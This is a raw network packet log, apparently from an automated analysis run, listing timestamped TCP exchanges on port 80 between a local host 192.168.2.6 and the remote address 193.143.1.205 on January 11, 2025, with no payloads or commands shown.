Jan 11, 2025 02:18:47.396186113 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.396270037 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.396281004 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.396291971 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.396302938 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.396315098 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.396337986 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.396508932 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.396519899 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.396531105 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.396542072 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.396550894 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.396554947 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.396584034 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.397135019 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.397166014 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.397176981 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.397197008 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.397217989 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.397242069 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.397253036 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.397264004 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.397277117 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.397299051 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.397316933 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.397505045 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.397516966 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.397528887 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.397541046 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.397550106 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.397552967 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.397574902 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.398106098 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.398117065 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.398128986 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.398138046 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.398175955 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.398225069 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.398236990 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.398250103 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.398261070 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.398268938 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.398302078 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.398477077 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.398488045 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.398498058 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.398509979 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.398521900 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.398525953 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.398550034 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.398987055 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.399051905 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.403496027 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.419656992 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.419672966 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.419728994 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.419770002 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.419780970 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.419828892 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.419889927 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.419900894 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.419929028 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.420043945 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.420054913 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.420067072 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.420078039 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.420089006 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.420100927 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.420139074 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.420311928 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.420324087 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.420335054 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.420346975 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.420347929 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.420363903 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.420388937 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.420413971 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.454482079 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.454499006 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.454510927 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.454544067 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.454556942 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.454622030 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.454643011 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.454670906 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.454675913 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.454689026 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.454706907 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.454741001 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.483421087 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.483457088 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.483468056 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.483494997 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.483511925 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.483526945 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.483537912 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.483546972 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.483573914 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.483730078 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.483741045 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.483752966 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.483774900 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.483876944 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.483890057 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.483902931 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.483911991 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.483958006 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.483989954 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.484004974 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.484016895 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.484039068 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.484132051 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.484143019 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.484172106 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.518424034 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.518503904 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.518533945 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.518548012 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.518583059 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.518594027 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.518594980 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.518626928 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.518970966 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.519011021 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.519021034 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.519048929 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.519081116 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.519093990 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.519117117 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.519211054 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.519232035 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.519253969 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.519292116 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.519325018 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.519351006 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.519418955 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.519429922 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.519443035 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.519467115 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.519484043 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.519556999 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.519620895 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.519632101 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.519655943 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.519788980 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.519802094 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.519814968 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.519826889 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.519829035 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.519849062 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.519974947 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.519989014 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.520013094 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.520093918 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.520106077 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.520117998 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.520133972 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.520158052 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.520291090 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.520309925 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.520320892 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.520334005 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.520343065 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.520348072 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.520369053 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.520587921 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.520601034 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.520615101 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.520626068 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.520627975 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.520642042 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.520649910 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.520678043 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.520736933 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.520775080 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.520787954 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.520809889 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.521002054 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.521013975 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.521024942 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.521037102 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.521039963 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.521050930 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.521065950 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.521071911 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.521080971 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.521087885 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.521094084 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.521107912 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.521115065 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.521140099 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.521301031 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.521315098 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.521356106 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.523339987 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.523392916 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.523406029 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.523433924 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.523487091 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.523499966 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.523520947 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.523544073 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.523557901 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.523576975 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.523699045 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.523711920 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.523724079 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.523735046 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.523737907 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.523751974 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.523761034 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.523788929 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.523901939 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.523915052 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.523961067 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.523983955 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.524034023 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.524066925 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.524163961 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.524177074 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.524188995 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.524195910 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.524202108 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.524233103 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.524378061 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.524390936 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.524404049 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.524415016 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.524441004 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.524483919 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.524529934 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.524542093 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.524563074 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.524709940 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.524722099 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.524736881 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.524746895 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.524749994 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.524770975 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.524925947 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.524945021 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.524956942 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.524966002 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.524970055 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.524991035 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.524991989 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.525003910 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.525017977 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.525029898 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.525032997 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.525043011 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.525058985 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.525084019 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.525283098 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.543757915 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.543806076 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.543816090 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.543847084 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.543849945 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.543859959 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.543884039 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.543900013 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.544018030 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.544029951 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.544043064 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.544078112 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.544104099 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.544138908 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.573568106 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.573592901 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.573606968 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.573709965 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.573721886 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.573734045 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.573746920 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.573776960 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.573832989 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.573843956 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.573858023 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.573889017 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.607908964 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.607981920 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.607990980 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.607996941 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.608031988 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.608129025 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.608140945 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.608160019 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.608180046 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.609615088 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.609632015 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.609644890 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.609658003 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.609663010 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.609669924 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.609680891 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.609690905 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.609694004 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.609699965 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.609704971 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.609709978 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.609720945 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.609743118 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.609746933 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.609757900 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.609761953 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.609770060 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.609783888 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.609792948 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.609797001 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.609807968 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.609818935 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.609821081 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.609833002 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.609838009 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.609846115 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.609858036 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.609869003 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.609877110 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.609879971 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.609894991 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.609904051 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.609906912 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.609911919 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.609919071 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.609922886 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.609935999 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.609942913 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.609946966 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.609960079 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.609970093 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.609972000 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.609983921 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.609985113 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.609999895 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.610001087 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.610012054 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.610025883 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.610027075 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.610037088 CET	80	49716	193.143.1.205	192.168.2.6
